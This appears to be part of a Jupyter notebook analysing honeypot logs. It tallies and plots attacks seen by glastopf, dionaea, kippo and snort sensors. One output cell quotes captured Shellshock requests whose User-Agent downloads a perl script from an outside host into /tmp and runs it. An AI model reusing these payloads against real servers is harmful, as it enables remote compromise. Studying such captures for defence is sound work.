        "GET /cgi-bin/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/supply.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 68
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('\\.\\.')]['request_raw'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 69,
       "text": [
        "Series([], dtype: int64)"
       ]
      }
     ],
     "prompt_number": 69
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Total attacks per Honeypot type"
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "attacker_df['channel'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 70,
       "text": [
        "dionaea.connections    1687\n",
        "snort.alerts            971\n",
        "kippo.sessions           92\n",
        "glastopf.events          54\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 70
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Events over time by honetpot type."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "from matplotlib import pyplot as plt\n",
      "mpl.style.use('ggplot')\n",
      "fig = plt.figure(figsize=(16, 8))\n",
      "fig.suptitle('LATAM Region - Events over time by Honeypot type', fontsize=20)\n",
      "for channel in attacker_df['channel'].value_counts().index:\n",
      "    plt.plot(attacker_df[attacker_df['channel'] == channel]['channel'].resample(\"D\", how='count'), label=channel,linewidth=4)\n",
      "plt.legend(title=\"Honeypot Type\",bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\n",
      "plt.xlabel('Day Number')\n",
      "plt.ylabel('Number of Attacks')\n",
      "plt.show()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "display_data",
       "png": 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IMNjWpEkTqFQqvbG1srJCjx49sHTpUuzYsQNt27YF8GS9m+joaAQFBcHe3l6pn9fr9sKF\nC3prHQkhUL9+/TwfR2EwNi4VK1YEANSpU8dgm7OzMwAgLi5OKXue6yInjRs3NlretGlT7N+/H6dO\nnUKTJk0AAG3atIG7uzt++uknTJs2DRqNBsCT34Hm5ubKGmt5VblyZfz99985btetA5XViRMnIIRA\n8+bNDbZ5eHjAxcUFMTExePDgAWxsbJRttra2qFKlisE+lSpVAqB/bxTkuvrwww8xc+ZMLFmyBEFB\nQQCAO3fuYNOmTfD09DT6u9Lc3BxvvfWWQbnufsl6bxT0uItCUR9rQe9rIiKiksAkEZEJSkpKwvr1\n61G2bFl07txZb1vv3r3x+eef48cff8TUqVNhYWFRIm0PGjQI8+bNw/Lly/H333/DysoK/fr1y1cs\n2QkhlIWSHz16hIiICLz//vsIDg6Gk5OT3hf3hIQEAMCMGTNybe/hw4cAniw0DQAVKlQwWjen8ux0\n7ei+LGfn5OQEALh7967BtpxeMa9Wq3NcIDq7b775BkIIZQFl3ZewvCaJ8qNfv3746quvsGrVKiVJ\n9N///heZmZl477339OrqxsPYguY6QggkJycblBs7L2r1k7++8npeAKBr16749ddfMWvWLKxYsQJL\nliwB8CShMXXqVAQGBj6zjXv37sHBwUHpP3tMjo6OuHPnjl55cHAwli5dilWrVilJolWrVgFAjufp\nWdetsfOU12u0sNja2hqU6c5LbtvS09OVsue5LnKS03nQ3Xu6e1TX9uDBgzFq1CisW7cOwcHBOH78\nOE6ePImuXbsq+xSlZ/3OqFixIuLi4nD37l29ZEluvy8A/XujINeVu7s7WrdujR07duDvv/9GlSpV\nsGrVKjx+/BiDBw822oajo6PRV83rxiTruS/ocReFoj7W57mviYiIihvfbkZkgn788UekpaUhKSkJ\nGo1G700v5cqVQ3p6OhISErBhw4YSa9vb2xsNGzbE8uXLER4ejqCgIJQtW7agh2xAo9GgRYsW2LJl\ni5KUePTokbLd1tYWQgjcv38fWq3W6E9mZqYy66BMmTIAnsyEMSan8ux0X45v3rxpdLvuLTbGvkQX\nBt1xZT1G3ayJwubi4oLmzZvjjz/+UGZ8rFq1ChYWFujTp49eXd3xnjlzJtfxePfdd4skVp127dph\nz549uHv3Lvbs2YOQkBBERUWhQ4cO+Ouvv565v62tLRITE40mpzIyMnDnzh3lWtLx8/ODh4cHfvnl\nF9y/fx/p6elYs2YNypUrh3bt2hm0n5/r1tQVxXWR072quyez33vvv/8+LC0tlaSh7r85JQcKmy6e\nnN5wVRi/Mwp6XX388ceQUipJvO+//x4ajSbHhP+dO3eMvkHT2LkvjuPOj6I+1lfpviYiItPGJBGR\nCdL9T2yfPn0wcOBAg5+3335br15JtT1o0CDcvn0b6enpGDRoUL5jyYuaNWti0KBBiI2N1Xuczc/P\nD1JKg1fW50Q3xf/gwYMG27RaLSIiIvLUzuuvvw6NRoPTp0/r/Uuyzt69e/X6M3XBwcEAnrxS/dSp\nUzh79izatm0LBwcHvXp+fn4AkOfxKCgzM7M8zS7SaDRo1qwZZs2ahTFjxuDx48fYvn37M/fz9fVF\nZmYm9u/fb7DtwIED0Gq1Rsf2vffeQ2pqKtauXYutW7ciISEBffr0gZmZmV69/F63zyvr7LySUBTX\nxcGDB41+ed+3bx8AoHbt2nrlDg4O6N69O44dO4aIiAisWbMGVapUQatWrQotptz4+vpCSqnEl9Xl\ny5cRFxcHd3d3g+RjfhT0umrfvj3c3Nzwww8/YOfOnbh06RJ69OiRY+ImPT0dhw8fNig3du4Lctx5\nvb+z091nue1blMda3Pc1ERHRcymZpZCIKLu8Llx9+PBhKYSQ3t7eOdbRarXKK7kvXbqkty23hauf\np+2sC1frpKSkyPDwcIPXpBfm282klDI+Pl5aWVnJsmXLKotFnz9/XlpYWMjq1asbXag4LS1NbwFd\nrVYrq1WrJoUQcvv27Xp1Fy1aVKC3m2VfDPfy5cu5vt3M2GurpSz4Yq35oVsIOj9jIuWThZltbW1l\npUqV5GeffSaFEDI8PNygXkJCgixbtqwsX768wRvJpHzydrm9e/fqleW22GxO56xevXrSyspKPnr0\nyGCf/fv3G7y9SEopP/nkEymEkIsXL37W4SpvN6tfv75MSUlRypOTk2W9evUM3m6mExsbq7xuvWvX\nrlIIIU+dOmVQL7/XrZRP3yxYEOXKlcvx2nrWwtXGxkX3Bq/s94mUT6+xrG/wK8h1kZOsbzfL+sY4\nKaUMDw/PdVFr3dv6XF1dpRBChoaG5qlPnby+NdLY7zHdW77c3d3l7du3lfKMjAzZuXPnfL/ly9gY\nFOS60tG9mVJ3bo4ePWq0nm4x50aNGsm0tDSlPCEhQVatWlWqVCq9BaALcty53d+5+eKLL6QQ4pnX\nUlEd6/OcfyIiouLGNYmIXiBSSmVmRnZCCCxcuFBZVPr999/PsR0hBPr3748JEybg+++/x/Tp0/PU\nf2G3rdFoDNY1KgrOzs748MMPMXfuXEyfPh1TpkxBjRo1sGLFCgwYMABeXl5o06YNPDw8kJ6ejn/+\n+QcHDx5EhQoVEB0drRzXsmXL0KZNG3Tq1AndunVDlSpVcObMGezevRtt27bF9u3bjS48m11oaCgO\nHjyI+fPnIzIyEgEBAbhz5w7CwsKQnJyM+fPnF8kaQYXh5MmTRhcQBp6co/Hjx+uVWVlZoXv37li+\nfDkWLVoER0dHtG/f3mBfe3t7rF+/Hl27dkXDhg3RokULeHp6QgiB2NhYHDlyBElJSUhJSXmu+AMD\nA/Hnn3+iTZs2aNy4MSwtLVGrVi106NABQ4cOxfXr1+Hv7w83NzdYWFjg+PHj2Lt3LypXrmyw+Lkx\nvXv3xubNmxEWFgYvLy907twZQgiEh4cjJiYGvXr1Qu/evQ32c3V1RbNmzbBnzx6o1Wr4+PjgzTff\nNKiX3+tWRxqZOZPX87V27Vp06tQJtWvXhrm5OZo2bVpsj70UxXXRpk0bfP7559i+fTt8fHxw+fJl\nbNy4ERqNJsdF2Rs2bIg333wTp0+fhoWFBQYMGFBYh/hMfn5+GDlyJKZPnw5vb2+8/fbbsLa2xvbt\n2xEVFYXGjRvjiy++eK4+CnpdAU/+PpgwYQLi4+Ph4+ODBg0a5NhPxYoVkZaWBm9vb3Tq1AmPHz/G\n+vXrcfPmTXzyySd6C0AX5Lhzu79zExgYiJkzZ2LQoEEICgqCjY0NypYti08++aRYjvV5zj8REVGx\nK+ksFRE9ofsXZmOvS9b999q1a7JUqVLSyspK77XZxuhmLlSoUEGmp6cr5Tn9i/fdu3efq+2AgIAc\nX8mcXWHPJJJSyn///VeWKlVKli5dWt66dUspP3v2rAwODpZubm7S0tJSOjg4yJo1a8oPP/zQ6L8q\nHzt2TLZs2VLa2NhIGxsb2bJlS3n06FFltsnp06cN4jL2CvG7d+/KL7/8Unp4eEhLS0tZtmxZ2apV\nK6OvTn/WTKLKlSsX+Uwi3WubjV2DOb26W+fQoUPK9qFDh+baT0xMjBwyZIj08PCQVlZW0tbWVr7x\nxhuyX79+cvPmzXp1g4ODles+u5zOWXJysvzoo4+kq6urVKvVUqVSKddZWFiY7N27t/Tw8JClS5eW\nZcqUkTVr1pTjxo2Td+7cyfO50mq1cuHChbJu3brS2tpalipVStatWzfH17jrrF69WjlPs2fPzrVu\nfq5b3b1XELdu3ZJ9+vSRFSpUkGZmZlKlUinnNKeZRLmNy4QJE4zOuJPyyTWmUqn0ZhLp5Oe6yEnW\na+LIkSMyMDBQlilTRpYpU0a2bt1a/vnnn7nuP3fuXCmEkD169MhTf1k9z0winbVr18pGjRpJGxsb\naWVlJb29veWUKVP0Zqro5PY7IbcxyO/vQx3d7LfcrnHd7Kb79+/LTz75RLq4uEhLS0vp6ekp582b\nl+N++Tnu3O7vZ5k9e7Z84403pKWlZa5jVZTHWtDzT0REVJyElAX850cioleIv78/IiMjce/ePeU1\n2UT08ujXrx9Wr16NPXv2oFmzZiUdzgtDq9WiatWquHPnDm7cuIHSpUsbrVe5cmWoVCr8/fffxRxh\n4XmVjpWIiCgnXLiaiOh/Hj16ZPTV9CtXrsSRI0fQqlUrJoiIXkL//PMP1q1bB09PTyaIsvm///s/\nXLt2Df369csxafKyeJWOlYiIKCdck4iI6H+uXbuG2rVro1WrVqhatSoyMjJw8uRJHD58GGXLlsWs\nWbNKOkQiKkQ///wzLl68iLVr1yIjIwOTJk0q6ZBeGKGhoUhMTMT333+P0qVLY/To0SUdUpF5lY6V\niIjoWfi4GRHR/9y9exdffPEF9u/fj5s3byItLQ0VK1ZEYGAgxo4dC3d395IOkYgKUbNmzXDgwAG8\n9tprCAkJwdChQ0s6pBeGSqWChYUFPD09MWPGDLRo0SLX+u7u7hBCmOQjWK/SsRIRET0Lk0RERERE\nRERERMQ1iYiIiIiIiIiIiEkiIiIiIiIiIiICk0RERERERERERAQmiYiIiIiIiIiICEwSERERERER\nERERmCQiIiIiIiIiIiIwSURERERERERERGCSiIiIiIiIiIiIwCQRERERERERERGBSSIiIiIiIiIi\nIgKTREREREREREREBCaJiIiIiIiIiIgITBIRERERERERERGYJCIiIiIiIiIiIjBJRERERERERERE\nYJKIiIiIiIiIiIjAJBEREREREREREYFJIiIiIiIiIiIiApNEREREREREREQEJomIiIiIiIiIiAhM\nEhEREREREREREQB1cXV0/fp1fPvtt8rnf//9Fz179kSTJk0wZ84c3LlzB+XKlUNISAhKlSoFANi0\naRP27t0LlUqF/v37480338y1j6ioKHh5eRXpcVDR4fiZLo6daeP4mTaOn+ni2Jk2jp/p4tiZNo4f\nUdEqtplEzs7OmD59OqZPn47Q0FBYWlqifv36CA8Ph4+PD+bOnQtvb2+Eh4cDAOLi4hAREYHZs2dj\nzJgxWLZsGbRaba59REVFFcehUBHh+Jkujp1p4/iZNo6f6eLYmTaOn+ni2Jk2jh9R0SqRx83Onj0L\nJycnODo64s8//0TTpk0BAAEBAYiMjAQAREZGwt/fH2q1GuXLl4eTkxMuX75cEuESEREREREREb30\nSiRJdPjwYfj7+wMA7t27Bzs7OwCAra0t7t27BwBISkqCg4ODso+DgwMSExOLP1giIiIiIiIioldA\nsa1JpJORkYHjx4/jnXfeMdgmhMh13+zbo6Ki9KYb9ujRo3CCpBLB8TNdHDvTxvEzbRw/08WxM20c\nP9PFsTNtPXr0QFhYmPLZy8vrhV+jKCMjA5mZmSUdBpEeMzMzqNWGKaFiTxKdPHkSVapUQZkyZQA8\nmT109+5d2NnZISkpCba2tgAAe3t7JCQkKPslJCTA3t5ery1jvxCuX79exEdARcXGxgYPHjwo6TCo\nADh2po3jZ9o4fqaLY2faOH6mi2Nn2pydnU0u0ZeZman33ZboReDg4GA0SVTsj5tlfdQMAOrWrYt9\n+/YBAPbv34969eop5YcPH0ZGRgZu3bqFmzdvolq1asUdLhERERERERHRK6FYZxKlpqbi7NmzGDx4\nsFLWpUsXzJkzB3v37kW5cuUQEhICAHB1dYWfnx9CQkJgZmaG999//5mPoxERERERERERUcEIKaUs\n6SAKEx83M12c+mu6OHamjeNn2jh+potjZ9o4fqaLY2fanJ2dSzqEfEtLS+PjZvTCcXBwgKWlpUF5\nibzdjIiIiIiIiIiIXixMEhERERERERGRAQ8PD73P69atw7hx40oommf77rvvjJZ36NABrVq1Qv36\n9eHj44NWrVqhdevWiI+PL+YIX3zF/nYzIiIiIiIiInrxZV8X+EVfJ3j+/PkYOnSoQfmvv/4KAAgL\nC8PZs2cxadKk4g7NZHAmERERERERERE9U9YljWNjY9G9e3cEBgaiZ8+eyqycYcOG4euvv0bnzp3x\n1ltvYevWrco+ixYtQvv27REYGIhZs2YBAGbOnIlly5YpdUJDQ7F8+XIcOXIEQUFB6NevH5o0aYJR\no0Yp/YcBEEJjAAAgAElEQVSHhyMwMBAtWrTAlClTAABTpkxBamoqWrVqhU8//TTH+HU//v7+SExM\nBABotVrl87Bhw/Dll1+iXbt2aNy4MXbv3g0AyMzMxKRJk5T4V69eXVin9YXCJBERERERERERGdAl\nXXQ/s2bNUmYTjRs3Dj179sTu3bsRFBSEr7/+Wtnv1q1b2Lx5M1atWqUkcfbv34+rV69i69at2Llz\nJ86cOYNjx46hV69eWL9+PYAnyZotW7agW7dukFLi9OnT+M9//oN9+/bh2rVr2LZtG27evIkpU6Yg\nLCwMO3fuxKlTp7Bjxw6MGTMGVlZW2LlzJ+bNm2f0eHSxCyHw9ttvY+PGjQCAgwcPwsvLC/b29gCe\nvBBr27Zt+PHHHzFq1CikpaVhzZo1KFOmDLZu3YqtW7fi559/RmxsbNGc+BLEx82IiIiIiIiIyIAu\n6aITFhaGM2fOAABOnDiBFStWAACCgoIwefJkAE8SMG3atAHwZE2jO3fuAHiSJDpw4ABatWoFAEhJ\nSUFMTAwaNGiAsmXL4ty5c7h9+za8vb1hZ2cHAKhVqxYqVaoEAOjSpQv++OMPmJubw8/PT0noBAUF\n4ejRo2jdunW+jq1nz54YMGAABg4ciLVr16Jnz55K/B06dAAAuLu7w83NDZcvX8b+/ftx/vx5ZWbU\nw4cPcfXqVSW+lwWTRERERERERET0TFkfNzP2Wcfc3NxonSFDhuCdd94xqN+7d2+EhYXh9u3b6NWr\nl1KedQ0kKaXRNZFyKn8WZ2dnlCtXDocOHcLp06excOHCHOvq2v/Pf/6DJk2a5LsvU8LHzYiIiIiI\niIgoX+rWrYvNmzcDADZu3IiGDRvmWj8gIABr165FSkoKAODGjRtISEgAALRt2xZ79+7FmTNnEBAQ\noOxz8uRJxMbGKo+hNWjQALVq1cLRo0eRmJiIzMxMbN68Wenb3NwcGRkZOcaQPanVu3dvDB06FB07\ndlQSQVJK/Prrr5BSIiYmBteuXUO1atUQEBCAVatWKe1fuXIFjx49yscZMw2cSUREREREREREBoy9\n3UxXNnnyZISEhGDRokVwdHTE7Nmzje6n+3OTJk1w6dIldOrUCQBQqlQpzJs3Dw4ODjA3N4e/vz9s\nbW311g2qVasWxo4di5iYGPj7+6Nt27YAgDFjxqBHjx6QUiIwMFB5hK1v374IDAxEzZo1ja5LlDV+\nAGjZsiWGDx+OHj166NVxcXFB+/bt8eDBA0ybNg0WFhbo06cPYmNj0aZNG0gp4eDggOXLlxf85L6g\nhMxpfpiJun79ekmHQAVkY2ODBw8elHQYVAAcO9PG8TNtHD/TxbEzbRw/08WxM23Ozs4lHUK+paWl\nKTNmyDitVos2bdrg+++/R+XKlQEAERERWLJkCVatWlVk/Z4+fRrffPMNNmzYoJSFhISgZcuWaNeu\nXZH1+yJwcHCApaWlQTkfNyMiIiIiIiKiEnHx4kU0atQIjRs3VhJEgOGsn8I2f/58fPDBBxg1alSR\n9WGKOJOIXhj8Vx3TxbEzbRw/08bxM10cO9PG8TNdHDvTxplERIWDM4mIiIiIiIiIiChHTBIRERER\nERERERGTRERERERERERExCQRERERERERERGBSSIiIiIiIiIiIgKTREREREREREQEYNiwYZg+fTr+\n+OMPNGnSpKTDeWUcO3bshTnfTBIREREREREREYQQEEKgfv36OHDgQEmH89JydXXFtWvXlM8NGjR4\nYc43k0REREREREREBACQUpZ0CK+EF/U8q0s6ACIiIiIiIqJXTeagToXeptnSX/JV/9y5c/j8888R\nExOD5s2bQwgBAIiIiMDQoUPx559/AgAuXbqE0aNHIzo6Gk5OThg1ahRatWoF4MkjatbW1oiLi8Ox\nY8fg4eGBBQsWwM3NDQDw9ddfY/v27Xjw4AHc3d0xceJE1K9fH8CTRMmCBQuwZs0a3Lt3D40aNUJo\naCjs7OwAAB988AEiIyORmpoKT09PTJ06FdWrVzd6LPHx8Rg/fjz++OMPaLVadOnSBZMnT4ZWq8V3\n332HNWvWIDU1FQEBAZg8eTJsbGwQGxsLPz8/zJkzBzNmzMCjR48waNAgDB06FAAwa9YsXLx4EVZW\nVvjtt9/g4uKCb7/9Fj4+PgCAmzdv4quvvsKxY8dQqlQpDBo0CAMGDAAAaLVazJ8/H+vWrcOdO3dQ\ntWpVLFu2DEOGDAEAtGzZEkIIzJo1Cw4ODoV2vsePH4/w8HCkpaXB1dUVCxYsQI0aNfJ8TXAmERER\nEREREdEr5vHjxxgwYAC6d++O6OhodOjQAdu2bVMeOdNJT09HcHAwAgICcObMGUyaNAmffvoprly5\notT55Zdf8PnnnyM6Ohru7u6YNm2asq1WrVrYtWsXoqOj0aVLFwwePBiPHz8GACxfvhw7d+7Ehg0b\ncPLkSdja2mLs2LHKvi1atMDhw4dx5swZeHt7KwmW7DIzM/Hee++hUqVKOHbsGI4fP47OnTsDAMLC\nwvB///d/WL9+PY4cOYKUlBS9PgAgMjISBw8exLp16/Dtt9/i8uXLyrbdu3ejS5cuOH/+PFq2bKns\nq9VqERwcDC8vL5w4cQLr1q3DsmXLsH//fgDAkiVL8Msvv+Cnn37ChQsXMHPmTGg0GmzcuFFp9+LF\ni+jYsaNeLM9zvvft24c//vgDhw4dwvnz57F48WKULVs21+sgOyaJiIiIiIiIiF4xJ06cQGZmJgYO\nHAgzMzO0b98eb775ptF6KSkpGDJkCNRqNfz9/REYGIjNmzcrddq1a4c333wTZmZm6Nq1K6KiopRt\nQUFBsLOzg0qlUhJEuoTH6tWrMXLkSDg5OcHc3BzDhw/H1q1bodVqAQA9e/aEtbW1si06OhoPHz40\niPHkyZO4desWvvrqK2g0GlhaWqJevXoAgI0bN2Lw4MGoVKkSrK2tMWrUKPzyyy9KHwAwfPhwWFpa\nwtPTE56enoiOjla21a9fH82aNYMQAt26dVO2nTp1ComJiRg2bBjUajVee+019O7dWzkvP//8M0aO\nHIkqVaoAADw9PfOUsHme861Wq/Hw4UNcunQJWq0W1apVQ/ny5Z/ZZ1Z83IyIiIiIiIjoFfPvv//C\nyclJr8zV1dVgrZybN2/C2dnZoN7NmzcBPFns2tHRUdlmZWWF5ORk5fPixYuxdu1a/PvvvxBC4MGD\nB0hMTAQAxMbGYuDAgVCpns5fMTMzw+3bt+Ho6Ihp06Zh69atSEhIgEqlghACiYmJKF26tF48169f\nh6urq147Ordu3YKrq6vy2cXFBRkZGbh9+7ZSljWRYmVlhZSUFOVz1mPTaDRIS0uDVqtFXFwc/v33\nX3h6eirbMzMz0aBBAwDAjRs3ULlyZYN4nuV5znejRo3Qv39/jB07FnFxcWjbti2+/vprg/OVGyaJ\niIiIiIiIiIpZftcPKmzly5dXEg86cXFxBokNJycnXL9+HVJK5TG0uLg4VKtW7Zl9HDt2DIsWLUJY\nWJiyLo6Xl5eSiHJxccHs2bNRt25dg33Xr1+PnTt3Yt26dXB1dcW9e/f09s3K2dkZ8fHxyMzMhJmZ\nmd62ChUqIDY2VvkcHx8PtVqNcuXKIT4+/pnHkBNnZ2dUqlQJhw4dynF7TExMjmso5eR5zjcADBgw\nAAMGDEBCQgIGDx6MRYsW4Ysvvshz/3zcjIiIiIiIiOgVU7duXZiZmWH58uVIT0/Htm3bcPr0aQD6\nb96qXbs2NBoNFi5ciPT0dERERGD37t3o1KmTQd3sHj58CLVaDXt7ezx+/Bhz5szBgwcPlO3vvvsu\nQkNDlWRNQkICdu7cCQBITk6GhYUF7OzskJKSgtDQ0Bz78fX1Rfny5TFlyhQ8evQIqampiIyMBAB0\n6dIFS5cuRWxsLJKTkxEaGopOnToZnXWUH7Vr10bp0qWxcOFCPHr0CJmZmTh//rxyDvv06YPp06fj\n6tWrkFIiOjoaSUlJAIBy5crh2rVrObZb0PN9+vRpnDhxAunp6dBoNLCysjJImj0Lk0RERERERERE\nrxhzc3MsW7YMYWFh8Pb2xpYtW9CuXTsA0Fu82sLCAitXrsTevXvh4+ODcePG4bvvvkPVqlUN6uro\nPjdr1gwBAQFo3LgxGjZsCCsrK7i4uCj1Bg4ciFatWqF3796oUaMGOnXqhJMnTwIAunfvDldXV9Sp\nUwfNmzdHnTp19Pr57rvv8O677wIAVCoVVq5ciZiYGNSrVw/16tXDli1bAAC9evVCt27dEBQUBD8/\nP2g0GkyePNkgVmNyOzYzMzOsWrUKUVFReOutt+Dj44ORI0cqSbAPPvgAHTt2RJ8+ffD6669j5MiR\nSEtLA/BkDaRhw4bB09MTv/76a6Gd7wcPHmDkyJHw8vJCgwYNULZsWXz00Uc5Hp/RY5a5paFM0PXr\n10s6BCogGxsbvawymQ6OnWnj+Jk2jp/p4tiZNo6f6eLYmbbsa7WYgrS0NCQkJJR0GER6HBwcYGlp\naVDOmURERERERERERMSFq6nkaY/ug9z9C5JdXoPs9QGExrqkQyIiIiIiIiJ65TBJRCVK3oyHXDkX\nyMxE+rXLEBmZEIM+L+mwiIiIiIiIiF45fNyMSpT84wCQmfn0c+RByFs3SjAiIiIiIiIiolcTk0RU\nouSJiGwFWshdm0smGCIiIiIiIqJXGJNEVGLkjTgg/pph+eHdkA/ulUBERERERERERK8uJomoxBjM\nItJJfwz5+9biDYaIiIiIiIjoFcckEZUYefxwztv2boVMSy3GaIiIiIiIiIhebUwSUYmQt64DsVef\nFggVoCn19HPyA8hDu4o/MCIiIiIiInphDBs2DNOnTy/pMF4ZTBJRiZDHj+gXeHjCsnUX/To7wyEz\nMooxKiIiIiIiIipMz5vkEUJACFHg/Rs0aIBDhw4VeP9XDZNEVCKyP2om6rwFyzZBgNr8aWHi7Vwf\nSSMiIiIiIqIXV2ZmZqG0I6XM9z4Z/5twIIQo0P6vKnVJB0CvHnnnX+DaZb0y4esHlZ09xFstIA/8\n9rTubxsh6zd5rswxERERERHRi6bzf88Xepub+76er/oLFizAihUr8PDhQ1SoUAFTpkzBsWPHcPHi\nRVhZWeG3336Di4sLvv32W/j4+AAALl26hNGjRyM6OhpOTk4YNWoUWrVqBeDJrCErKyvEx8fj6NGj\nmDBhAsLDwyGEwLJly+Dv748ffvjBII4PPvgAkZGRSE1NhaenJ6ZOnYrq1asbjXnXrl2YPn064uPj\n4eHhgdDQULzxxhsAnswaeu+997Bx40b8/fffaNu2LeLj4xEcHAwzMzMMHz4c/fv3x4gRI7B3715o\ntVq4u7tj1apVcHR0zNe5e1lxJhEVO3ki26Nm1d6AsHMAAIhWXYCsCaG4q0D0qWKMjoiIiIiI6OV3\n+fJlrFy5Etu3b8eFCxewZs0aVKpUCQCwe/dudOnSBefPn0fLli0xduxYAEB6ejqCg4MREBCAM2fO\nYNKkSfj0009x5coVpd3Nmzfjs88+w6VLl/D222+ja9eu+Pjjj3Hx4kWjCSIAaNGiBQ4fPowzZ87A\n29sbQ4YMMVrv3LlzGDFiBGbMmIGoqCi888476N+/P9LT0/X6/+mnn/DXX39hwYIFcHFxwapVq3Dx\n4kV8+OGHCAsLw4MHD/Dnn38iKioK06ZNg5WVVWGdVpPHJBEVO3kiQu+zqPPW0z9XcAZq++lt1/62\noVjiIiIiIiIielWYmZnh8ePHuHDhAtLT0+Hi4gI3NzcAQP369dGsWTMIIdCtWzdER0cDAE6cOIGU\nlBQMGTIEarUa/v7+CAwMxObNm5V2W7dujbp16wIALC0tATz7cbGePXvC2toa5ubmGD58OKKjo/Hw\n4UNlu+7JktWrV+Odd95BrVq1IIRA9+7dYWFhgRMnTij1BgwYgIoVKyp9Z2dhYYGkpCRcvXoVQgh4\ne3ujdOnSBTmFLyU+bkbFSibeAa7oT6sUtd/S+6xqEwRt1kTS+TOQMZcgKnsUQ4REREREREQvP3d3\nd0ycOBGzZ8/GxYsX0bRpU4wfPx4A9B690mg0SEtLg1arxc2bN+Hs7KzXjqurK27evAngSZKmYsWK\n+YpDq9UiNDQUW7duRUJCAlSqJ3NZEhMTDZI38fHxWL9+vd6MpPT0dKV/AAbxZdetWzdcv34dH3/8\nMe7fv4+goCB8+eWXUKuZHgGYJKJiJk9me9TMvTqEQzm9IuFeHahRE7hw9ul+OzZBDB5ZHCESERER\nEREVufyuH1QUunTpgi5duuDhw4f48ssv8Z///AeVK1fOsb6TkxOuX78OKaUyuycuLg7VqlXLcZ9n\nrS+7ceNG7Ny5E+vWrYOrqyvu3bsHLy8vo7OPnJ2dMXToUAwdOjTP/WX/rFarERISgpCQEMTFxeHd\nd99F1apV0atXr1zjfFXwcTMqVoZvNfM3Wk/VOijbfhGQt24UWVxERERERESvkitXruDQoUNIS0uD\nhYUFLC0tYWZmlus+tWvXhkajwcKFC5Geno6IiAjs3r0bnTp1AmD8sbJy5crhn3/+ybHN5ORkWFhY\nwM7ODikpKQgNDdXbLqVU2u3bty9++uknnDx5ElJKpKSkYPfu3UhOTs6xfUdHR1y7dk35HBERgb/+\n+guZmZkoVaoU1Gq1MnuJmCSiYiTvJgKX/9IrE75+xit7+wIubll21kLu2my8LhEREREREeXL48eP\nERoaCh8fH9SuXRuJiYkYPXo0gJxn41hYWGDlypXYu3cvfHx8MG7cOHz33XeoWrWqUi/7vr169cLF\nixfh6emJgQMHAgDeffddzJ8/HwDQvXt3uLq6ok6dOmjevDnq1Kmj10bWNn18fDBjxgyMGzcOXl5e\naNSoEdavX5/rbKVPP/0Uc+fOhaenJxYvXozbt29j8ODBeP3119GsWTP4+fnh7bfffp5T+VIR8lkr\nSJmY69evl3QIlAPt3m2QPy9+WuBWDWbjZisfbWxs8ODBg6f1j+yFXDHnaX1zC6hCl0GUsSuOcCkf\nso8dmRaOn2nj+Jkujp1p4/iZLo6daXvWejMvorS0NCQkJJR0GER6HBwcjC7uzZlEVGwMHjXLaRaR\nbnu9xoD90wXTkP4Ycu/WogiNiIiIiIiI6JXHJBEVC3n/LnAxSq9M+L6VQ+3/bVerIVp21m/n962Q\nqY8KPT4iIiIiIiKiVx2TRFQs5KmjgNQ+LXCtDOHk8sz9RKNWgHWW1x6mPIQ8vLsIIiQiIiIiIiJ6\ntTFJRMVCHj+i91nUyX0WkVLPSgMR0E6/rZ3hkBkZhRYbERERERERETFJRMVAPrwPnD+tVybq+Od5\nf9GiPaA2f1qQeBvyz0OFFR4RERERERERgUkiKgby9B+ANsujZhUrQVSslOf9RZmyEG+10G9zx0a8\nZC/mIyIiIiIiIipRTBJRkZPHI/Q+52cWkbJP6y6AEE8L4mKAqJPPGRkRERERERER6TBJREVKpjwE\nok/pleV1PSK9fco7A75+emXaHRufKzYiIiIiIiIieqpYk0TJycmYNWsWQkJCEBISgkuXLuHhw4eY\nNGkSPvvsM0yePBnJyclK/U2bNmHo0KEYNmwYTp8+nUvL9KKSpyOBzCyLTFdwAVzcCtSWqnU3/YLz\nZyBjLj1HdERERERERK+mBg0a4ODBgwblzZs3x9GjR0sgouJRvXp1xMbGlnQYL6xiTRL98MMPqF27\nNubMmYOZM2fCxcUF4eHh8PHxwdy5c+Ht7Y3w8HAAQFxcHCIiIjB79myMGTMGy5YtgzbrujZkEuTx\nw3qfha8fRNbHxvJBuHsANWrqt/8bZxMRERERERHllxDC6Hez33//HQ0bNiyBiIrHxYsXUalS3tfI\nfdUUW5IoJSUF58+fR/PmzQEAZmZmsLa2xp9//ommTZsCAAICAhAZGQkAiIyMhL+/P9RqNcqXLw8n\